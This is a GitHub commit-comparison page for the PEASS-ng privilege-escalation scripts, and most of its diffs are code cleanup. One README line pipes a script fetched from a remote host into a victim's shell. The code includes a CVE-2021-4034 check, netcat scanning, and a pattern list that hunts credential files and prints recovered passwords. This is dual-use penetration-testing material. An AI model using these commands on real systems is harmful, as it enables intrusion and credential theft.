mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2025-12-10 18:59:02 +00:00
Compare commits
11 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ded6f3045f | ||
|
|
d20638fa7b | ||
|
|
aa69a494b4 | ||
|
|
a4b226c16e | ||
|
|
3cc49b5b9a | ||
|
|
e5b9b67786 | ||
|
|
e29c9e88d5 | ||
|
|
8b6ce759d0 | ||
|
|
116d842158 | ||
|
|
46033a7af0 | ||
|
|
0ab4a65bab |
4
.github/workflows/CI-master_tests.yml
vendored
4
.github/workflows/CI-master_tests.yml
vendored
@@ -1,10 +1,6 @@
|
|||||||
name: CI-master_test
|
name: CI-master_test
|
||||||
|
|
||||||
on:
|
on:
|
||||||
pull_request:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
|
|
||||||
schedule:
|
schedule:
|
||||||
- cron: "5 4 * * SUN"
|
- cron: "5 4 * * SUN"
|
||||||
|
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Local network
|
# Local network
|
||||||
sudo python -m SimpleHTTPServer 80 #Host
|
sudo python -m http.server 80 #Host
|
||||||
curl 10.10.10.10/linpeas.sh | sh #Victim
|
curl 10.10.10.10/linpeas.sh | sh #Victim
|
||||||
|
|
||||||
# Without curl
|
# Without curl
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ echo ""
|
|||||||
print_2title "CVEs Check"
|
print_2title "CVEs Check"
|
||||||
|
|
||||||
#-- SY) CVE-2021-4034
|
#-- SY) CVE-2021-4034
|
||||||
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
|
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1641942000" ]; then
|
||||||
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|||||||
@@ -105,7 +105,7 @@ fi
|
|||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- UI) Doas
|
#-- UI) Doas
|
||||||
if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
|
if [ "$(command -v doas 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Checking doas.conf"
|
print_2title "Checking doas.conf"
|
||||||
doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
|
doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
|
||||||
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
|
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
|
||||||
|
|||||||
@@ -808,7 +808,7 @@ basic_net_info(){
|
|||||||
select_nc (){
|
select_nc (){
|
||||||
#Select the correct configuration of the netcat found
|
#Select the correct configuration of the netcat found
|
||||||
NC_SCAN="$FOUND_NC -v -n -z -w 1"
|
NC_SCAN="$FOUND_NC -v -n -z -w 1"
|
||||||
$($FOUND_NC 127.0.0.1 65321 > /dev/null 2>&1)
|
$($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1)
|
||||||
if [ $? -eq 2 ]
|
if [ $? -eq 2 ]
|
||||||
then
|
then
|
||||||
NC_SCAN="timeout 1 $FOUND_NC -v -n"
|
NC_SCAN="timeout 1 $FOUND_NC -v -n"
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.CompilerServices;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
// General Information about an assembly is controlled through the following
|
// General Information about an assembly is controlled through the following
|
||||||
|
|||||||
@@ -27,8 +27,8 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Current Active Window Application");
|
Beaprint.MainPrint("Current Active Window Application");
|
||||||
string title = ApplicationInfoHelper.GetActiveWindowTitle();
|
string title = ApplicationInfoHelper.GetActiveWindowTitle();
|
||||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);
|
||||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);
|
||||||
if (permsFile.Count > 0)
|
if (permsFile.Count > 0)
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint(" " + title);
|
Beaprint.BadPrint(" " + title);
|
||||||
@@ -188,8 +188,8 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
||||||
{
|
{
|
||||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], Checks.CurrentUserSiDs);
|
||||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], Checks.CurrentUserSiDs);
|
||||||
string formString = " ({0}) {1}: {2}";
|
string formString = " ({0}) {1}: {2}";
|
||||||
|
|
||||||
if (fileRights.Count > 0)
|
if (fileRights.Count > 0)
|
||||||
@@ -238,8 +238,8 @@ namespace winPEAS.Checks
|
|||||||
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
||||||
{
|
{
|
||||||
string pathDriver = driver.Key;
|
string pathDriver = driver.Key;
|
||||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);
|
||||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);
|
||||||
|
|
||||||
Dictionary<string, string> colorsD = new Dictionary<string, string>()
|
Dictionary<string, string> colorsD = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -363,8 +363,8 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.GrayPrint(" - Creating disabled users list...");
|
Beaprint.GrayPrint(" - Creating disabled users list...");
|
||||||
Checks.PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||||
PaintDisabledUsersNoAdministrator = Checks.PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -411,7 +411,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
|
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
|
||||||
System.Console.WriteLine(@"ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
Console.WriteLine(@"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -425,7 +425,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
|
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
|
||||||
{
|
{
|
||||||
System.Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||||
IsLongPath = false;
|
IsLongPath = false;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ namespace winPEAS.Checks
|
|||||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||||
}
|
}
|
||||||
|
|
||||||
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles=true)
|
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles = true)
|
||||||
{
|
{
|
||||||
var files = new List<CustomFileInfo>();
|
var files = new List<CustomFileInfo>();
|
||||||
var systemDrive = $"{SearchHelper.SystemDrive}\\";
|
var systemDrive = $"{SearchHelper.SystemDrive}\\";
|
||||||
@@ -118,7 +118,8 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (isFileFound)
|
if (isFileFound)
|
||||||
{
|
{
|
||||||
if (!somethingFound) {
|
if (!somethingFound)
|
||||||
|
{
|
||||||
Beaprint.MainPrint($"Found {searchName} Files");
|
Beaprint.MainPrint($"Found {searchName} Files");
|
||||||
somethingFound = true;
|
somethingFound = true;
|
||||||
}
|
}
|
||||||
@@ -352,7 +353,7 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string text = System.IO.File.ReadAllText(f.FullPath);
|
string text = File.ReadAllText(f.FullPath);
|
||||||
|
|
||||||
results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
|
results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
|
||||||
if (results.Count > 0)
|
if (results.Count > 0)
|
||||||
@@ -451,7 +452,7 @@ namespace winPEAS.Checks
|
|||||||
// If contains undesireable string, stop processing
|
// If contains undesireable string, stop processing
|
||||||
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
|
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
|
||||||
{
|
{
|
||||||
foreach(var rem_path in fileSettings.remove_path.Split('|'))
|
foreach (var rem_path in fileSettings.remove_path.Split('|'))
|
||||||
{
|
{
|
||||||
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
|
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
|
||||||
return false;
|
return false;
|
||||||
@@ -460,19 +461,23 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (fileSettings.type == "f")
|
if (fileSettings.type == "f")
|
||||||
{
|
{
|
||||||
var colors = new Dictionary<string, string>();
|
var colors = new Dictionary<string, string>
|
||||||
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
{
|
||||||
|
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||||
|
};
|
||||||
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
|
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
|
||||||
|
|
||||||
if (!(bool)fileSettings.just_list_file)
|
if (!(bool)fileSettings.just_list_file)
|
||||||
{
|
{
|
||||||
GrepResult(fileInfo, fileSettings);
|
GrepResult(fileInfo, fileSettings);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (fileSettings.type == "d")
|
else if (fileSettings.type == "d")
|
||||||
{
|
{
|
||||||
var colors = new Dictionary<string, string>();
|
var colors = new Dictionary<string, string>
|
||||||
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
{
|
||||||
|
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||||
|
};
|
||||||
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
|
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
|
||||||
|
|
||||||
// just list the directory
|
// just list the directory
|
||||||
@@ -487,7 +492,7 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
// should not happen
|
// should not happen
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ namespace winPEAS.Checks
|
|||||||
internal class FilesInfo : ISystemCheck
|
internal class FilesInfo : ISystemCheck
|
||||||
{
|
{
|
||||||
static readonly string _patternsFileCredsColor = @"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe";
|
static readonly string _patternsFileCredsColor = @"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe";
|
||||||
// static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak";
|
// static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak";
|
||||||
|
|
||||||
private static readonly IList<string> patternsFileCreds = new List<string>()
|
private static readonly IList<string> patternsFileCreds = new List<string>()
|
||||||
{
|
{
|
||||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
|
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
|
||||||
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
|
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
|
||||||
System.Console.WriteLine("");
|
Console.WriteLine("");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@@ -182,7 +182,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
List<string> pwds = Unattended.ExtractUnattendedPwd(path);
|
List<string> pwds = Unattended.ExtractUnattendedPwd(path);
|
||||||
Beaprint.BadPrint(" " + path);
|
Beaprint.BadPrint(" " + path);
|
||||||
System.Console.WriteLine(string.Join("\n", pwds));
|
Console.WriteLine(string.Join("\n", pwds));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@@ -233,11 +233,11 @@ namespace winPEAS.Checks
|
|||||||
foreach (var site in sitelistFilesInfo.Sites)
|
foreach (var site in sitelistFilesInfo.Sites)
|
||||||
{
|
{
|
||||||
Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
|
Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
|
||||||
PrintColored( $" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
PrintColored($" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||||
PrintColored( $" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
PrintColored($" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||||
PrintColored( $" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
PrintColored($" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||||
PrintColored( $" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
PrintColored($" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||||
Beaprint.NoColorPrint( $" Domain Name : {site.DomainName}\n" +
|
Beaprint.NoColorPrint($" Domain Name : {site.DomainName}\n" +
|
||||||
$" Name : {site.Name}\n" +
|
$" Name : {site.Name}\n" +
|
||||||
$" Type : {site.Type}\n" +
|
$" Type : {site.Type}\n" +
|
||||||
$" Relative Path : {site.RelativePath}\n");
|
$" Relative Path : {site.RelativePath}\n");
|
||||||
@@ -480,7 +480,7 @@ namespace winPEAS.Checks
|
|||||||
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
|
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
|
||||||
{
|
{
|
||||||
Beaprint.DictPrint(rec_file, colorF, true);
|
Beaprint.DictPrint(rec_file, colorF, true);
|
||||||
System.Console.WriteLine();
|
Console.WriteLine();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -828,11 +828,11 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
Beaprint.NoColorPrint($" Issuer : {certificateInfo.Issuer}\n" +
|
Beaprint.NoColorPrint($" Issuer : {certificateInfo.Issuer}\n" +
|
||||||
$" Subject : {certificateInfo.Subject}\n" +
|
$" Subject : {certificateInfo.Subject}\n" +
|
||||||
$" ValidDate : {certificateInfo.ValidDate}\n" +
|
$" ValidDate : {certificateInfo.ValidDate}\n" +
|
||||||
$" ExpiryDate : {certificateInfo.ExpiryDate}\n" +
|
$" ExpiryDate : {certificateInfo.ExpiryDate}\n" +
|
||||||
$" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" +
|
$" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" +
|
||||||
$" StoreLocation : {certificateInfo.StoreLocation}\n" +
|
$" StoreLocation : {certificateInfo.StoreLocation}\n" +
|
||||||
$" KeyExportable : {certificateInfo.KeyExportable}\n" +
|
$" KeyExportable : {certificateInfo.KeyExportable}\n" +
|
||||||
$" Thumbprint : {certificateInfo.Thumbprint}\n");
|
$" Thumbprint : {certificateInfo.Thumbprint}\n");
|
||||||
|
|
||||||
if (!string.IsNullOrEmpty(certificateInfo.Template))
|
if (!string.IsNullOrEmpty(certificateInfo.Template))
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
if (line.Length > 0 && line[0] != '#')
|
if (line.Length > 0 && line[0] != '#')
|
||||||
{
|
{
|
||||||
System.Console.WriteLine(" " + line.Replace("\t", " "));
|
Console.WriteLine(" " + line.Replace("\t", " "));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -304,8 +304,8 @@ namespace winPEAS.Checks
|
|||||||
Beaprint.GrayPrint(" DENY rules:");
|
Beaprint.GrayPrint(" DENY rules:");
|
||||||
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
|
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
|
||||||
{
|
{
|
||||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], Checks.CurrentUserSiDs));
|
||||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], Checks.CurrentUserSiDs));
|
||||||
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
|
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
|
||||||
if (filePerms.Length > 0)
|
if (filePerms.Length > 0)
|
||||||
formString += "\n File Permissions: {8}";
|
formString += "\n File Permissions: {8}";
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
CheckRunner.Run(() =>
|
CheckRunner.Run(() =>
|
||||||
{
|
{
|
||||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(winPEAS.Checks.Checks.CurrentUserSiDs);
|
modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);
|
||||||
}, isDebug);
|
}, isDebug);
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@@ -53,12 +53,12 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
foreach (Dictionary<string, string> serviceInfo in services_info)
|
foreach (Dictionary<string, string> serviceInfo in services_info)
|
||||||
{
|
{
|
||||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], Checks.CurrentUserSiDs);
|
||||||
List<string> dirRights = new List<string>();
|
List<string> dirRights = new List<string>();
|
||||||
|
|
||||||
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
|
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
|
||||||
{
|
{
|
||||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), winPEAS.Checks.Checks.CurrentUserSiDs);
|
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), Checks.CurrentUserSiDs);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
|
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
|
||||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking if you can modify any service registry");
|
Beaprint.MainPrint("Looking if you can modify any service registry");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
||||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);
|
||||||
|
|
||||||
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -5,21 +5,21 @@ using System.Linq;
|
|||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
|
using winPEAS._3rdParty.Watson;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.AppLocker;
|
using winPEAS.Helpers.AppLocker;
|
||||||
using winPEAS._3rdParty.Watson;
|
|
||||||
using winPEAS.Info.SystemInfo.Printers;
|
|
||||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
|
||||||
using winPEAS.Info.SystemInfo;
|
|
||||||
using winPEAS.Info.SystemInfo.SysMon;
|
|
||||||
using winPEAS.Helpers.Extensions;
|
using winPEAS.Helpers.Extensions;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
using winPEAS.Info.SystemInfo;
|
||||||
using winPEAS.Info.SystemInfo.AuditPolicies;
|
using winPEAS.Info.SystemInfo.AuditPolicies;
|
||||||
using winPEAS.Info.SystemInfo.DotNet;
|
using winPEAS.Info.SystemInfo.DotNet;
|
||||||
using winPEAS.Info.SystemInfo.GroupPolicy;
|
using winPEAS.Info.SystemInfo.GroupPolicy;
|
||||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||||
using winPEAS.Info.SystemInfo.PowerShell;
|
|
||||||
using winPEAS.Info.SystemInfo.Ntlm;
|
using winPEAS.Info.SystemInfo.Ntlm;
|
||||||
|
using winPEAS.Info.SystemInfo.PowerShell;
|
||||||
|
using winPEAS.Info.SystemInfo.Printers;
|
||||||
|
using winPEAS.Info.SystemInfo.SysMon;
|
||||||
|
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
namespace winPEAS.Checks
|
namespace winPEAS.Checks
|
||||||
@@ -107,7 +107,7 @@ namespace winPEAS.Checks
|
|||||||
{ Globals.StrTrue, Beaprint.ansi_color_bad },
|
{ Globals.StrTrue, Beaprint.ansi_color_bad },
|
||||||
};
|
};
|
||||||
Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
